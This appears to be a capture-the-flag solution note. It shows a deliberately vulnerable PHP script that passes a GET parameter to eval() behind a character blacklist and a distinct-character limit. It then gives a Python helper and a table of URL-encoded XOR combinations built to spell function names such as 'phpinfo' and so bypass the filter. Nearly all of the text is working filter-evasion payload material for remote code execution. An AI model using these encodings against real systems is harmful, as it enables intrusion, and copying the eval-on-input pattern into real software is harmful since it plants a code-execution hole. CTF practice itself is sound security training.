<?phphighlight_file(__FILE__);$_=@$_GET['_'];if(preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i',$_))die('rosé will not do it');if(strlen(count_chars(strtolower($_),0x3))>0xd)die('you are so close, omg');eval($_);?>
target = "phpinfo"
standard = 0xff
dicts = {}
for i in target:
dicts[i] = hex(ord(i)^standard).replace('0x','%')
res = ''
for i in target:
res = res+dicts[i]
print(res+'^'+"%ff"*len(target))
print(len(set(res+'^'+"%ff"*len(target))))
s=['n', 'p', 'c', 's', 'i', 'a', 't', 'd', 'r', '_', '.']
for i in s:
for j in s:
for k in s:
if (chr(ord(i)^ord(j)^ord(k)) in s):
xorRes = i+'^'+j+'^'+k
if len(set(xorRes)) == 4:
print(chr(ord(i)^ord(j)^ord(k))+'='+xorRes)
p %8f^%ff
r %8d^%ff
i %96^%ff %9c^%ff^%9b^%91
n %91^%ff
t %8b^%ff
_ %a0^%ff
s %8c^%ff %9c^%ff^%9b^%8b
c %9c^%ff
a %9e^%ff %8d^%ff^%9c^%8f
d %9b^%ff
. %d0^%ff
a=r^c^p
s=c^d^t
i=c^d^n
p %8f^%ff
r %8d^%ff
i %9c^%ff^%9b^%91
n %91^%ff
t %8b^%ff
_ %a0^%ff
s %9c^%ff^%9b^%8b
c %9c^%ff
a %8d^%ff^%9c^%8f
d %9b^%ff
. %d1^%ff